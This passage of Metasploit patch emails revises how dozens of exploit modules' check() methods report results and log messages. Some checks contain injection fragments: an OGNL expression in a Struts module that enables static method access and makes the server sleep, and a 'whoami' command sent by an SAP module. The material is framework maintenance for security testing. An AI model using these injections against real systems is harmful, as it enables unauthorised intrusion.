Msf::Exploit::Remote return Exploit::CheckCode::Unknown elsif v =~ /^2\.6\.[01]/ or v =~ /^2\.7\.0/ # Conditions based on OSVDB info - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/http/oracle9i_xdb_pass.rb b/modules/exploits/windows/http/oracle9i_xdb_pass.rb index 63e31b8db2..cecf607a69 100644 --- a/modules/exploits/windows/http/oracle9i_xdb_pass.rb +++ b/modules/exploits/windows/http/oracle9i_xdb_pass.rb @@ -61,8 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote resp = sock.get_once disconnect - if (resp =~ /9.2.0.1.0/) - return Exploit::CheckCode::Vulnerable + if (resp =~ /9\.2\.0\.1\.0/) + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb index 45ce9d8c4c..90e3dceda1 100644 --- a/modules/exploits/windows/http/oracle_endeca_exec.rb +++ b/modules/exploits/windows/http/oracle_endeca_exec.rb @@ -95,15 +95,15 @@ class Metasploit3 < Msf::Exploit::Remote version_match = res.body.match(/<serverVersion>Oracle Endeca Server ([0-9\.]*) /) if version_match.nil? - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe else version = version_match[1] end - print_status("#{peer} - Version found: Oracle Endeca Server #{version}") + vprint_status("#{peer} - Version found: Oracle Endeca Server #{version}") if version =~ /7\.4\.0/ and version <= "7.4.0.787" - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/http/psoproxy91_overflow.rb b/modules/exploits/windows/http/psoproxy91_overflow.rb index 9d7fd62509..6d8be475ca 100644 --- a/modules/exploits/windows/http/psoproxy91_overflow.rb +++ b/modules/exploits/windows/http/psoproxy91_overflow.rb @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote sock.put("GET / HTTP/1.0\r\n\r\n") banner = sock.get(-1,3) if (banner =~ /PSO Proxy 0\.9/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb index 52cf6c8a60..21ff043ae7 100644 --- a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb +++ b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb @@ -64,14 +64,16 @@ class Metasploit3 < Msf::Exploit begin res = send_evil_request(uri, "whoami", 20) rescue - Exploit::CheckCode::Unknown + vprint_error("An error has occured while sending the malicious request") + return Exploit::CheckCode::Unknown end if !res - Exploit::CheckCode::Unknown + vprint_error("Connection timed out") + return Exploit::CheckCode::Unknown elsif res.body.include?("Process created") - Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Vulnerable else - Exploit::CheckCode::Safe + return Exploit::CheckCode::Safe end end diff --git a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb index 13cab152d0..47e0cd709d 100644 --- a/modules/exploits/windows/http/sap_host_control_cmd_exec.rb +++ b/modules/exploits/windows/http/sap_host_control_cmd_exec.rb @@ -394,7 +394,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 10) if (res and res.code == 500 and res.body =~ /Generic error/) - return CheckCode::Appears + return CheckCode::Vulnerable else return CheckCode::Safe end diff --git a/modules/exploits/windows/http/savant_31_overflow.rb b/modules/exploits/windows/http/savant_31_overflow.rb index 37efed7261..d439eacd1e 100644 --- a/modules/exploits/windows/http/savant_31_overflow.rb +++ b/modules/exploits/windows/http/savant_31_overflow.rb @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote def check info = http_fingerprint # check method if info and (info =~ /Savant\/3\.1/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/servu_session_cookie.rb b/modules/exploits/windows/http/servu_session_cookie.rb index 3093d9cb03..07f2fd2180 100644 --- a/modules/exploits/windows/http/servu_session_cookie.rb +++ b/modules/exploits/windows/http/servu_session_cookie.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (res =~ /Server: Serv-U\/9\.0\.0\.5/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears elsif (res =~ /Server: Serv-U/) return Exploit::CheckCode::Detected end diff --git a/modules/exploits/windows/http/shoutcast_format.rb b/modules/exploits/windows/http/shoutcast_format.rb index 02145d4867..70e3f35024 100644 --- a/modules/exploits/windows/http/shoutcast_format.rb +++ b/modules/exploits/windows/http/shoutcast_format.rb @@ -65,14 +65,15 @@ class Metasploit3 < Msf::Exploit::Remote m = r.body.match(/Network Audio Server\/([^\s]+)\s+([^<]+)<BR/) return Exploit::CheckCode::Safe if not m - print_status("This system is running SHOUTcast #{m[1]} on #{m[2]}") + vprint_status("This system is running SHOUTcast #{m[1]} on #{m[2]}") # SHOUTcast Distributed Network Audio Server/win32 v1.9.2<BR> if (m[1] =~ /v1\.([0-8]\.|9\.[0-3])$/) if (m[2] == "win32") - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Detected end - print_status("Vulnerable version detected, but not a win32 host") end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index 9fe203fdf3..2a37f164f4 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({'uri'=>'/'}) # Check the base path for version regex if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/http/steamcast_useragent.rb b/modules/exploits/windows/http/steamcast_useragent.rb index 6504820ad3..6debd28036 100644 --- a/modules/exploits/windows/http/steamcast_useragent.rb +++ b/modules/exploits/windows/http/steamcast_useragent.rb @@ -63,8 +63,8 @@ class Metasploit3 < Msf::Exploit::Remote res = sock.get(-1, 3) disconnect - if (res =~ /Steamcast\/0.9.75/) - return Exploit::CheckCode::Vulnerable + if (res =~ /Steamcast\/0\.9\.75/) + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/http/sws_connection_bof.rb b/modules/exploits/windows/http/sws_connection_bof.rb index 7e7773d954..a26a19d90c 100644 --- a/modules/exploits/windows/http/sws_connection_bof.rb +++ b/modules/exploits/windows/http/sws_connection_bof.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw({'uri'=>'/'}) if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/http/trackercam_phparg_overflow.rb b/modules/exploits/windows/http/trackercam_phparg_overflow.rb index bb598c488d..fc74de354b 100644 --- a/modules/exploits/windows/http/trackercam_phparg_overflow.rb +++ b/modules/exploits/windows/http/trackercam_phparg_overflow.rb @@ -73,8 +73,8 @@ class Metasploit3 < Msf::Exploit::Remote if (res and res.body =~ /fsockopen/) fp = fingerprint() - print_status("Detected a vulnerable TrackerCam installation on #{fp}") - return Exploit::CheckCode::Confirmed + vprint_status("Detected a vulnerable TrackerCam installation on #{fp}") + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end From 689999c8b8d5626ad87046ca274e21a8ee9a47be Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Tue, 21 Jan 2014 13:03:36 -0600 Subject: [PATCH 041/246] Saving progress Progress group 3: Making sure these checks comply with the new guidelines. Please read: "How to write a check() method" found in the wiki. --- .../exploits/multi/http/qdpm_upload_exec.rb | 2 +- .../exploits/multi/http/sit_file_upload.rb | 4 +-- .../multi/http/sonicwall_gms_upload.rb | 4 +-- .../multi/http/splunk_upload_app_exec.rb | 2 +- .../multi/http/struts_code_exec_parameters.rb | 2 +- .../http/struts_default_action_mapper.rb | 4 +-- .../multi/http/struts_include_params.rb | 6 ++--- .../multi/http/testlink_upload_exec.rb | 7 ++--- .../exploits/multi/http/tomcat_mgr_deploy.rb | 6 ++--- .../exploits/multi/http/traq_plugin_exec.rb | 4 +-- .../exploits/multi/http/uptime_file_upload.rb | 2 +- .../exploits/multi/http/vtiger_php_exec.rb | 12 ++++----- .../multi/http/webpagetest_upload_exec.rb | 2 +- .../exploits/multi/http/zabbix_script_exec.rb | 6 ++--- .../multi/misc/openview_omniback_exec.rb | 4 +-- modules/exploits/multi/misc/pbot_exec.rb | 4 +-- .../exploits/multi/misc/ra1nx_pubcall_exec.rb | 2 +- .../multi/php/php_unserialize_zval_cookie.rb | 18 ++++++------- modules/exploits/multi/realserver/describe.rb | 2 +- modules/exploits/multi/svn/svnserve_date.rb | 3 --- modules/exploits/osx/arkeia/type77.rb | 8 +++--- .../exploits/osx/local/setuid_tunnelblick.rb | 2 +- .../exploits/osx/local/setuid_viscosity.rb | 2 +- .../osx/local/sudo_password_bypass.rb | 6 ++--- modules/exploits/unix/local/setuid_nmap.rb | 2 +- modules/exploits/unix/misc/qnx_qconn_exec.rb | 4 +-- .../unix/ssh/tectia_passwd_changereq.rb | 2 +- .../unix/webapp/arkeia_upload_exec.rb | 6 ++--- .../unix/webapp/clipbucket_upload_exec.rb | 6 ++--- .../unix/webapp/coppermine_piceditor.rb | 2 +- .../unix/webapp/egallery_upload_exec.rb | 2 +- .../unix/webapp/flashchat_upload_exec.rb | 6 ++--- .../exploits/unix/webapp/foswiki_maketext.rb | 4 +-- .../webapp/google_proxystylesheet_exec.rb | 7 +++-- .../exploits/unix/webapp/hastymail_exec.rb | 2 +- .../unix/webapp/havalite_upload_exec.rb | 8 +++--- .../exploits/unix/webapp/instantcms_exec.rb | 13 +++------- .../unix/webapp/joomla_comjce_imgmanager.rb | 2 +- .../unix/webapp/joomla_media_upload_exec.rb | 4 +-- .../unix/webapp/joomla_tinybrowser.rb | 2 +- modules/exploits/unix/webapp/kimai_sqli.rb | 10 +++---- .../unix/webapp/libretto_upload_exec.rb | 2 +- modules/exploits/unix/webapp/mybb_backdoor.rb | 2 +- .../unix/webapp/nagios3_history_cgi.rb | 6 ++--- .../unix/webapp/nagios_graph_explorer.rb | 2 +- .../unix/webapp/narcissus_backend_exec.rb | 6 ++--- .../webapp/open_flash_chart_upload_exec.rb | 6 ++--- .../webapp/openemr_sqli_privesc_upload.rb | 4 +-- .../unix/webapp/openemr_upload_exec.rb | 8 +++--- .../unix/webapp/opensis_modname_exec.rb | 2 +- .../exploits/unix/webapp/openx_banner_edit.rb | 2 +- .../exploits/unix/webapp/php_charts_exec.rb | 8 +++--- modules/exploits/unix/webapp/php_eval.rb | 2 +- modules/exploits/unix/webapp/php_include.rb | 2 +- .../unix/webapp/php_wordpress_total_cache.rb | 6 ++--- .../unix/webapp/projectpier_upload_exec.rb | 2 +- .../unix/webapp/sphpblog_file_upload.rb | 4 +-- .../exploits/unix/webapp/spip_connect_exec.rb | 2 +- .../exploits/unix/webapp/squash_yaml_exec.rb | 2 +- .../webapp/tikiwiki_graph_formula_exec.rb | 2 +- .../unix/webapp/tikiwiki_jhot_exec.rb | 2 +- .../unix/webapp/trixbox_langchoice.rb | 26 +++++++++---------- modules/exploits/unix/webapp/twiki_history.rb | 8 +++--- .../exploits/unix/webapp/twiki_maketext.rb | 6 ++--- modules/exploits/unix/webapp/twiki_search.rb | 8 +++--- .../unix/webapp/vbulletin_vote_sqli_exec.rb | 6 ++--- 66 files changed, 154 insertions(+), 168 deletions(-) diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 27b4c3b6da..9d6b7e74f4 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw({'uri'=>normalize_uri(base, "/index.php")}) if res and res.body =~ /<div id\=\"footer\"\>.+qdPM ([\d])\.([\d]).+\<\/div\>/m major, minor = $1, $2 - return Exploit::CheckCode::Vulnerable if (major+minor).to_i <= 70 + return Exploit::CheckCode::Appears if (major+minor).to_i <= 70 end return Exploit::CheckCode::Safe diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb index 1b0d70e7d0..900616eef6 100644 --- a/modules/exploits/multi/http/sit_file_upload.rb +++ b/modules/exploits/multi/http/sit_file_upload.rb @@ -70,10 +70,10 @@ class Metasploit3 < Msf::Exploit::Remote if (res and res.body =~ /SiT! Support Incident Tracker v(\d)\.(\d\d)/) ver = [ $1.to_i, $2.to_i ] - print_status("SiT! #{ver[0]}.#{ver[1]}") + vprint_status("SiT! #{ver[0]}.#{ver[1]}") if (ver[0] == 3 and ver[1] == 65) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears elsif (ver[0] == 3 and ver[1] < 65) return Exploit::CheckCode::Appears end diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index 5a04dceeaf..26bb6cd764 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -151,9 +151,9 @@ class Metasploit3 < Msf::Exploit::Remote end if install_path.include?("\\") - print_status("Target looks like Windows") + vprint_status("Target looks like Windows") else - print_status("Target looks like Linux") + vprint_status("Target looks like Linux") end return Exploit::CheckCode::Vulnerable end diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb index 980a62bcdd..0c710b83ac 100644 --- a/modules/exploits/multi/http/splunk_upload_app_exec.rb +++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 25) if res and res.body =~ /Splunk Inc\. Splunk/ - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/multi/http/struts_code_exec_parameters.rb b/modules/exploits/multi/http/struts_code_exec_parameters.rb index 61124efda2..1db90c817f 100644 --- a/modules/exploits/multi/http/struts_code_exec_parameters.rb +++ b/modules/exploits/multi/http/struts_code_exec_parameters.rb @@ -146,7 +146,7 @@ class Metasploit3 < Msf::Exploit::Remote sleep_time = datastore['CHECK_SLEEPTIME'] check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})" t1 = Time.now - print_status("Asking remote server to sleep for #{sleep_time} seconds") + vprint_status("Asking remote server to sleep for #{sleep_time} seconds") response = execute_command(check_cmd) t2 = Time.now delta = t2 - t1 diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb index d2f2e17421..709cbaabe0 100644 --- a/modules/exploits/multi/http/struts_default_action_mapper.rb +++ b/modules/exploits/multi/http/struts_default_action_mapper.rb @@ -149,7 +149,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res.nil? or res.code != 200 - print_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI") + vprint_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI") return Exploit::CheckCode::Unknown end @@ -164,7 +164,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Vulnerable end - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end def auto_target diff --git a/modules/exploits/multi/http/struts_include_params.rb b/modules/exploits/multi/http/struts_include_params.rb index 7333dd15c3..a2999d8026 100644 --- a/modules/exploits/multi/http/struts_include_params.rb +++ b/modules/exploits/multi/http/struts_include_params.rb @@ -176,11 +176,11 @@ class Metasploit3 < Msf::Exploit::Remote def check #initialise some base vars @inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}" - print_status("Performing Check...") + vprint_status("Performing Check...") sleep_time = datastore['CHECK_SLEEPTIME'] check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})" t1 = Time.now - print_status("Asking remote server to sleep for #{sleep_time} seconds") + vprint_status("Asking remote server to sleep for #{sleep_time} seconds") response = execute_command(check_cmd) t2 = Time.now delta = t2 - t1 @@ -191,7 +191,7 @@ class Metasploit3 < Msf::Exploit::Remote elsif delta < sleep_time return Exploit::CheckCode::Safe else - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Vulnerable end end diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index 4a0d8c89b6..d9ad21808f 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote if res if res.code == 200 if res.body =~ /<p><img alt="Company logo" title="logo" style="width: 115px; height: 53px;"\s+src="[^"]+" \/>\s+<br \/>TestLink 1\.9\.3/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end end end @@ -81,9 +81,10 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Detected if res and res.body =~ /TestLink project <a href="http:\/\/testlink\.sourceforge\.net\/docs\/testLink\.php">Home<\/a><br \/>/ return Exploit::CheckCode::Safe rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_error("#{peer} - Connection failed") + vprint_error("#{peer} - Connection failed") + return Exploit::CheckCode::Unknown end - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 1e3a9888d1..12c2423529 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -114,7 +114,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect return CheckCode::Unknown if res.nil? if (res.code.between?(400, 499)) - print_error("Server rejected the credentials") + vprint_error("Server rejected the credentials") return CheckCode::Unknown end @@ -128,8 +128,8 @@ class Metasploit3 < Msf::Exploit::Remote :active => true ) - print_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}") - return CheckCode::Vulnerable + vprint_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}") + return CheckCode::Appears end def auto_target diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 6f23263acf..ddb499cdb0 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -1,4 +1,4 @@ -## +f## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 25) if (res and res.body =~ /Powered by Traq 2.[0-3]/ ) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/multi/http/uptime_file_upload.rb b/modules/exploits/multi/http/uptime_file_upload.rb index d8cffe813e..08f3f8db30 100644 --- a/modules/exploits/multi/http/uptime_file_upload.rb +++ b/modules/exploits/multi/http/uptime_file_upload.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Appears end - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end diff --git a/modules/exploits/multi/http/vtiger_php_exec.rb b/modules/exploits/multi/http/vtiger_php_exec.rb index 81bdaf39c2..54790d69ea 100644 --- a/modules/exploits/multi/http/vtiger_php_exec.rb +++ b/modules/exploits/multi/http/vtiger_php_exec.rb @@ -57,26 +57,26 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php') }) rescue - print_error("Unable to access the index.php file") + vprint_error("Unable to access the index.php file") return CheckCode::Unknown end if res and res.code != 200 - print_error("Error accessing the index.php file") + vprint_error("Error accessing the index.php file") return CheckCode::Unknown end if res.body =~ /<div class="poweredBy">Powered by vtiger CRM - (.*)<\/div>/i - print_status("vTiger CRM version: " + $1) + vprint_status("vTiger CRM version: " + $1) case $1 when '5.4.0', '5.3.0' - return CheckCode::Vulnerable + return CheckCode::Appears else - return CheckCode::Safe + return CheckCode::Detected end end - return CheckCode::Unknown + return CheckCode::Safe end def exploit diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index d196a3a4b3..bcccbb9c2a 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and res2 and res2.code == 200 - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/multi/http/zabbix_script_exec.rb b/modules/exploits/multi/http/zabbix_script_exec.rb index 53bc8c0528..57ec58c718 100644 --- a/modules/exploits/multi/http/zabbix_script_exec.rb +++ b/modules/exploits/multi/http/zabbix_script_exec.rb @@ -60,14 +60,14 @@ class Metasploit4 < Msf::Exploit::Remote }) if !init or init.code != 200 - print_error("Could not connect to server") + vprint_error("Could not connect to server") return Exploit::CheckCode::Unknown end if init.body =~ /Zabbix (2\.0\.(\d)) Copyright/ if $1 >= "2.0.0" and $1 <= "2.0.8" - print_good("Version #{$1} is vulnerable.") - return Exploit::CheckCode::Vulnerable + vprint_good("Version #{$1} is vulnerable.") + return Exploit::CheckCode::Appears end end return Exploit::CheckCode::Safe diff --git a/modules/exploits/multi/misc/openview_omniback_exec.rb b/modules/exploits/multi/misc/openview_omniback_exec.rb index f25f4f19d4..a0155ef1ed 100644 --- a/modules/exploits/multi/misc/openview_omniback_exec.rb +++ b/modules/exploits/multi/misc/openview_omniback_exec.rb @@ -83,12 +83,12 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if !(res and res.length > 0) - print_status("The remote service did not reply to our request") + vprint_status("The remote service did not reply to our request") return Exploit::CheckCode::Safe end if (res =~ /passwd|group|resolv/) - print_status("The remote service is exploitable") + vprint_status("The remote service is exploitable") return Exploit::CheckCode::Vulnerable end diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb index 886ac215f9..05c93f2e96 100644 --- a/modules/exploits/multi/misc/pbot_exec.rb +++ b/modules/exploits/multi/misc/pbot_exec.rb @@ -72,13 +72,13 @@ class Metasploit3 < Msf::Exploit::Remote response = register(sock) if response =~ /463/ or response =~ /464/ - print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") + vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return Exploit::CheckCode::Unknown end response = join(sock) if not response =~ /353/ and not response =~ /366/ - print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") + vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return Exploit::CheckCode::Unknown end response = pbot_login(sock) diff --git a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb index 3341f80160..9389a464b4 100644 --- a/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb +++ b/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb @@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote response = register(sock) if response =~ /463/ or response =~ /464/ - print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") + vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return Exploit::CheckCode::Unknown end diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb index d802275f3f..e7e8375826 100644 --- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb +++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb @@ -202,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - print_status("Checking for a vulnerable PHP version...") + vprint_status("Checking for a vulnerable PHP version...") # # Pick the URI and Cookie name @@ -226,14 +226,14 @@ class Metasploit3 < Msf::Exploit::Remote php_bug = false if (not res) - print_status("No response from the server") - return Exploit::CheckCode::Safe + vprint_status("No response from the server") + return Exploit::CheckCode::Unknown # User should try again end http_fingerprint({ :response => res }) # check method if (res.code != 200) - print_status("The server returned #{res.code} #{res.message}") + vprint_status("The server returned #{res.code} #{res.message}") return Exploit::CheckCode::Safe end @@ -246,24 +246,24 @@ class Metasploit3 < Msf::Exploit::Remote php_ver = php_raw.split('.') if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5) - print_status("The server runs a vulnerable version of PHP (#{php_raw})") + vprint_status("The server runs a vulnerable version of PHP (#{php_raw})") php_bug = true else - print_status("The server runs a non-vulnerable version of PHP (#{php_raw})") + vprint_status("The server runs a non-vulnerable version of PHP (#{php_raw})") return Exploit::CheckCode::Safe end end # Detect the phpBB cookie name if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/) - print_status("The server may require a cookie name of '#{$1}_data'") + vprint_status("The server may require a cookie name of '#{$1}_data'") end if(target and target['Signature']) if (res.body and res.body.match(target['Signature'])) - print_status("Detected target #{target.name}") + vprint_status("Detected target #{target.name}") else - print_status("Did not detect target #{target.name}") + vprint_status("Did not detect target #{target.name}") end end diff --git a/modules/exploits/multi/realserver/describe.rb b/modules/exploits/multi/realserver/describe.rb index 328f86897c..0166bc45e2 100644 --- a/modules/exploits/multi/realserver/describe.rb +++ b/modules/exploits/multi/realserver/describe.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote info = http_fingerprint({ :response => res }) # check method / Custom server check if res and res['Server'] - print_status("Found RTSP: #{res['Server']}") + vprint_status("Found RTSP: #{res['Server']}") return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe diff --git a/modules/exploits/multi/svn/svnserve_date.rb b/modules/exploits/multi/svn/svnserve_date.rb index d5ab61ad21..dc295f937a 100644 --- a/modules/exploits/multi/svn/svnserve_date.rb +++ b/modules/exploits/multi/svn/svnserve_date.rb @@ -85,9 +85,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def check - end - def brute_exploit(addresses) connect diff --git a/modules/exploits/osx/arkeia/type77.rb b/modules/exploits/osx/arkeia/type77.rb index 28f61b6c38..935ed14075 100644 --- a/modules/exploits/osx/arkeia/type77.rb +++ b/modules/exploits/osx/arkeia/type77.rb @@ -61,18 +61,18 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe end - print_status("Arkeia Server Information:") + vprint_status("Arkeia Server Information:") info.each_pair { |k,v| - print_status(" #{k + (" " * (30-k.length))} = #{v}") + vprint_status(" #{k + (" " * (30-k.length))} = #{v}") } if (info['System'] !~ /Darwin/) - print_status("This module only supports Mac OS X targets") + vprint_status("This module only supports Mac OS X targets") return Exploit::CheckCode::Detected end if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb index 5a43d1bd59..1f7a8b2f6b 100644 --- a/modules/exploits/osx/local/setuid_tunnelblick.rb +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -57,7 +57,7 @@ class Metasploit4 < Msf::Exploit::Local def check if not file?(datastore["Tunnelblick"]) - print_error "openvpnstart not found" + vprint_error "openvpnstart not found" return CheckCode::Safe end diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb index d940379312..a7368c7b17 100644 --- a/modules/exploits/osx/local/setuid_viscosity.rb +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -57,7 +57,7 @@ class Metasploit4 < Msf::Exploit::Local def check if not file?(datastore["Viscosity"]) - print_error "ViscosityHelper not found" + vprint_error "ViscosityHelper not found" return CheckCode::Safe end diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index e4b92f24ca..0172023586 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -107,16 +107,16 @@ class Metasploit3 < Msf::Exploit::Local # check vn between 1.6.0 through 1.7.10p6 # and 1.8.0 through 1.8.6p6 if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES) - print_error "sudo version #{sudo_vn} not vulnerable." + vprint_error "sudo version #{sudo_vn} not vulnerable." return Exploit::CheckCode::Safe end else - print_error "sudo not detected on the system." + vprint_error "sudo not detected on the system." return Exploit::CheckCode::Safe end if not user_in_admin_group? - print_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)." + vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)." return Exploit::CheckCode::Safe end # one root for you sir diff --git 